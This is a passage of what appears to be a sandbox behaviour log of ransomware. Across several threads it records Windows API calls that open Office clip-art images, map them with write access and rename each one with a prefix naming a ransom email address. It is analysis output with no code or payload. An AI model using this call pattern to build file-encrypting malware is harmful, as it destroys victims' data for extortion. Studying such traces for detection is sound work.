	[0098.952] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0098.953] CloseHandle (hObject=0xda8) returned 1
	[0098.953] GetCurrentThreadId () returned 0x1b78
	[0098.953] FlushFileBuffers (hFile=0xda4) returned 1
	[0098.956] CloseHandle (hObject=0xda4) returned 1
	[0098.956] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0179963.jpg") returned 97
	[0098.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0179963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0179963.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0179963.jpg")) returned 1
	[0098.961] free (_Block=0x51f90b8) 
	[0098.961] RtlExitUserThread (Status=0x0) 

Thread:
	id = 701
	os_tid = 0x1b7c

	[0098.963] _alloca_probe () returned 0x40328a
	[0098.964] GetCurrentThreadId () returned 0x1b7c
	[0098.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg", dwFileAttributes=0x80) returned 1
	[0098.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xda8
	[0098.965] GetFileSizeEx (in: hFile=0xda8, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16615) returned 1
	[0098.965] CreateFileMappingA (hFile=0xda8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40ed, lpName=0x0) returned 0xd9c
	[0098.965] MapViewOfFile (hFileMappingObject=0xd9c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0098.970] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0098.970] CloseHandle (hObject=0xd9c) returned 1
	[0098.970] GetCurrentThreadId () returned 0x1b7c
	[0098.970] FlushFileBuffers (hFile=0xda8) returned 1
	[0099.003] CloseHandle (hObject=0xda8) returned 1
	[0099.003] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0182689.jpg") returned 97
	[0099.003] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182689.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0182689.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0182689.jpg")) returned 1
	[0099.004] free (_Block=0x51f3088) 
	[0099.004] RtlExitUserThread (Status=0x0) 

Thread:
	id = 702
	os_tid = 0x1b80

	[0098.976] _alloca_probe () returned 0x40328a
	[0098.976] GetCurrentThreadId () returned 0x1b80
	[0098.976] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg", dwFileAttributes=0x80) returned 1
	[0098.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdac
	[0098.978] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=42254) returned 1
	[0098.978] CreateFileMappingA (hFile=0xdac, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa51b, lpName=0x0) returned 0xdb0
	[0098.978] MapViewOfFile (hFileMappingObject=0xdb0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.001] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.001] CloseHandle (hObject=0xdb0) returned 1
	[0099.001] GetCurrentThreadId () returned 0x1b80
	[0099.001] FlushFileBuffers (hFile=0xdac) returned 1
	[0099.206] CloseHandle (hObject=0xdac) returned 1
	[0099.206] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0202045.jpg") returned 97
	[0099.206] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0202045.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0202045.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0202045.jpg")) returned 1
	[0099.208] free (_Block=0x51f4090) 
	[0099.208] RtlExitUserThread (Status=0x0) 

Thread:
	id = 703
	os_tid = 0x1b84

	[0098.980] _alloca_probe () returned 0x40328a
	[0098.980] GetCurrentThreadId () returned 0x1b84
	[0098.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg", dwFileAttributes=0x80) returned 1
	[0098.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdb8
	[0098.981] GetFileSizeEx (in: hFile=0xdb8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=42883) returned 1
	[0098.981] CreateFileMappingA (hFile=0xdb8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa785, lpName=0x0) returned 0xdbc
	[0098.981] MapViewOfFile (hFileMappingObject=0xdbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0099.007] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0099.007] CloseHandle (hObject=0xdbc) returned 1
	[0099.007] GetCurrentThreadId () returned 0x1b84
	[0099.007] FlushFileBuffers (hFile=0xdb8) returned 1
	[0099.010] CloseHandle (hObject=0xdb8) returned 1
	[0099.010] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0216112.jpg") returned 97
	[0099.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216112.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0216112.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0216112.jpg")) returned 1
	[0099.011] free (_Block=0x51f5098) 
	[0099.011] RtlExitUserThread (Status=0x0) 

Thread:
	id = 704
	os_tid = 0x1b88

	[0099.013] _alloca_probe () returned 0x40328a
	[0099.013] GetCurrentThreadId () returned 0x1b88
	[0099.013] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg", dwFileAttributes=0x80) returned 1
	[0099.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdbc
	[0099.014] GetFileSizeEx (in: hFile=0xdbc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=21620) returned 1
	[0099.014] CreateFileMappingA (hFile=0xdbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5477, lpName=0x0) returned 0xda8
	[0099.014] MapViewOfFile (hFileMappingObject=0xda8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.021] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.021] CloseHandle (hObject=0xda8) returned 1
	[0099.021] GetCurrentThreadId () returned 0x1b88
	[0099.021] FlushFileBuffers (hFile=0xdbc) returned 1
	[0099.028] CloseHandle (hObject=0xdbc) returned 1
	[0099.029] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0216153.jpg") returned 97
	[0099.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0216153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0216153.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0216153.jpg")) returned 1
	[0099.030] free (_Block=0x51f0070) 
	[0099.030] RtlExitUserThread (Status=0x0) 

Thread:
	id = 705
	os_tid = 0x1b8c

	[0099.023] _alloca_probe () returned 0x40328a
	[0099.026] GetCurrentThreadId () returned 0x1b8c
	[0099.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg", dwFileAttributes=0x80) returned 1
	[0099.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdb0
	[0099.028] GetFileSizeEx (in: hFile=0xdb0, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=35542) returned 1
	[0099.028] CreateFileMappingA (hFile=0xdb0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8adb, lpName=0x0) returned 0xdc0
	[0099.028] MapViewOfFile (hFileMappingObject=0xdc0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.038] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.038] CloseHandle (hObject=0xdc0) returned 1
	[0099.038] GetCurrentThreadId () returned 0x1b8c
	[0099.038] FlushFileBuffers (hFile=0xdb0) returned 1
	[0099.041] CloseHandle (hObject=0xdb0) returned 1
	[0099.041] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0227419.jpg") returned 97
	[0099.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227419.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227419.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0227419.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0227419.jpg")) returned 1
	[0099.043] free (_Block=0x51f60a0) 
	[0099.043] RtlExitUserThread (Status=0x0) 

Thread:
	id = 706
	os_tid = 0x1b90

	[0099.048] _alloca_probe () returned 0x40328a
	[0099.048] GetCurrentThreadId () returned 0x1b90
	[0099.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg", dwFileAttributes=0x80) returned 1
	[0099.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdc0
	[0099.049] GetFileSizeEx (in: hFile=0xdc0, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=58089) returned 1
	[0099.049] CreateFileMappingA (hFile=0xdc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe2f1, lpName=0x0) returned 0xdbc
	[0099.049] MapViewOfFile (hFileMappingObject=0xdbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.062] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.062] CloseHandle (hObject=0xdbc) returned 1
	[0099.062] GetCurrentThreadId () returned 0x1b90
	[0099.063] FlushFileBuffers (hFile=0xdc0) returned 1
	[0099.100] CloseHandle (hObject=0xdc0) returned 1
	[0099.100] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0227558.jpg") returned 97
	[0099.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0227558.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0227558.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0227558.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0227558.jpg")) returned 1
	[0099.102] free (_Block=0x51f5098) 
	[0099.102] RtlExitUserThread (Status=0x0) 

Thread:
	id = 707
	os_tid = 0x1b94

	[0099.105] _alloca_probe () returned 0x40328a
	[0099.106] GetCurrentThreadId () returned 0x1b94
	[0099.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg", dwFileAttributes=0x80) returned 1
	[0099.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdbc
	[0099.107] GetFileSizeEx (in: hFile=0xdbc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=35236) returned 1
	[0099.107] CreateFileMappingA (hFile=0xdbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x89a7, lpName=0x0) returned 0xdc4
	[0099.107] MapViewOfFile (hFileMappingObject=0xdc4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.116] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.117] CloseHandle (hObject=0xdc4) returned 1
	[0099.117] GetCurrentThreadId () returned 0x1b94
	[0099.117] FlushFileBuffers (hFile=0xdbc) returned 1
	[0099.121] CloseHandle (hObject=0xdbc) returned 1
	[0099.122] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287641.jpg") returned 97
	[0099.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287641.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287641.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287641.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0287641.jpg")) returned 1
	[0099.123] free (_Block=0x51f5098) 
	[0099.123] RtlExitUserThread (Status=0x0) 

Thread:
	id = 708
	os_tid = 0x1b98

	[0099.118] _alloca_probe () returned 0x40328a
	[0099.119] GetCurrentThreadId () returned 0x1b98
	[0099.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg", dwFileAttributes=0x80) returned 1
	[0099.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdc8
	[0099.121] GetFileSizeEx (in: hFile=0xdc8, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=17105) returned 1
	[0099.121] CreateFileMappingA (hFile=0xdc8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x42d1, lpName=0x0) returned 0xdcc
	[0099.121] MapViewOfFile (hFileMappingObject=0xdcc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.127] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.127] CloseHandle (hObject=0xdcc) returned 1
	[0099.127] GetCurrentThreadId () returned 0x1b98
	[0099.127] FlushFileBuffers (hFile=0xdc8) returned 1
	[0099.129] CloseHandle (hObject=0xdc8) returned 1
	[0099.130] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287642.jpg") returned 97
	[0099.130] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287642.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0287642.jpg")) returned 1
	[0099.131] free (_Block=0x51f60a0) 
	[0099.131] RtlExitUserThread (Status=0x0) 

Thread:
	id = 709
	os_tid = 0x1b9c

	[0099.180] _alloca_probe () returned 0x40328a
	[0099.180] GetCurrentThreadId () returned 0x1b9c
	[0099.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg", dwFileAttributes=0x80) returned 1
	[0099.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdcc
	[0099.182] GetFileSizeEx (in: hFile=0xdcc, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=16017) returned 1
	[0099.182] CreateFileMappingA (hFile=0xdcc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e91, lpName=0x0) returned 0xdbc
	[0099.182] MapViewOfFile (hFileMappingObject=0xdbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0099.187] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0099.187] CloseHandle (hObject=0xdbc) returned 1
	[0099.187] GetCurrentThreadId () returned 0x1b9c
	[0099.187] FlushFileBuffers (hFile=0xdcc) returned 1
	[0099.192] CloseHandle (hObject=0xdcc) returned 1
	[0099.192] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287643.jpg") returned 97
	[0099.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287643.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287643.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0287643.jpg")) returned 1
	[0099.193] free (_Block=0x51f0070) 
	[0099.193] RtlExitUserThread (Status=0x0) 

Thread:
	id = 710
	os_tid = 0x1ba4

	[0099.244] _alloca_probe () returned 0x40328a
	[0099.244] GetCurrentThreadId () returned 0x1ba4
	[0099.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg", dwFileAttributes=0x80) returned 1
	[0099.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdcc
	[0099.246] GetFileSizeEx (in: hFile=0xdcc, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=17349) returned 1
	[0099.246] CreateFileMappingA (hFile=0xdcc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x43c9, lpName=0x0) returned 0xdbc
	[0099.246] MapViewOfFile (hFileMappingObject=0xdbc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.250] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.250] CloseHandle (hObject=0xdbc) returned 1
	[0099.251] GetCurrentThreadId () returned 0x1ba4
	[0099.251] FlushFileBuffers (hFile=0xdcc) returned 1
	[0099.253] CloseHandle (hObject=0xdcc) returned 1
	[0099.253] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287644.jpg") returned 97
	[0099.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287644.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287644.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0287644.jpg")) returned 1
	[0099.254] free (_Block=0x51f80b0) 
	[0099.254] RtlExitUserThread (Status=0x0) 

Thread:
	id = 711
	os_tid = 0x1ba8

	[0099.255] _alloca_probe () returned 0x40328a
	[0099.256] GetCurrentThreadId () returned 0x1ba8
	[0099.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg", dwFileAttributes=0x80) returned 1
	[0099.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdbc
	[0099.257] GetFileSizeEx (in: hFile=0xdbc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=36230) returned 1
	[0099.257] CreateFileMappingA (hFile=0xdbc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d8b, lpName=0x0) returned 0xdd0
	[0099.257] MapViewOfFile (hFileMappingObject=0xdd0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0099.266] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0099.267] CloseHandle (hObject=0xdd0) returned 1
	[0099.267] GetCurrentThreadId () returned 0x1ba8
	[0099.267] FlushFileBuffers (hFile=0xdbc) returned 1
	[0099.269] CloseHandle (hObject=0xdbc) returned 1
	[0099.269] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287645.jpg") returned 97
	[0099.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287645.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0287645.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___j0287645.jpg")) returned 1
	[0099.270] free (_Block=0x51f5098) 
	[0099.270] RtlExitUserThread (Status=0x0) 

Thread:
	id = 712
	os_tid = 0x1bac

	[0099.319] _alloca_probe () returned 0x40328a
	[0099.320] GetCurrentThreadId () returned 0x1bac
	[0099.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg", dwFileAttributes=0x80) returned 1
	[0099.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0289430.jpg" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0289430.jpg"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xdd0
	[0099.322] GetFileSizeEx (in: hFile=0xdd0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=11553) returned 1
	[0099.322] CreateFileMappingA (hFile=0xdd0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d21, lpName=0x0) returned 0xdd4
	[0099.322] MapViewOfFile (hFileMappingObject=0xdd4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0099.325] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0099.325] CloseHandle (hObject=0xdd4) returned 1
	[0099.325] GetCurrentThreadId () returned 0x1bac
	[0099.325] FlushFileBuffers (hFile=0xdd0) returned 1
	[0099.328] CloseHandle (hObject=0xdd0) returned 1
	[0099.328] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___J0289430.jpg") returned 97
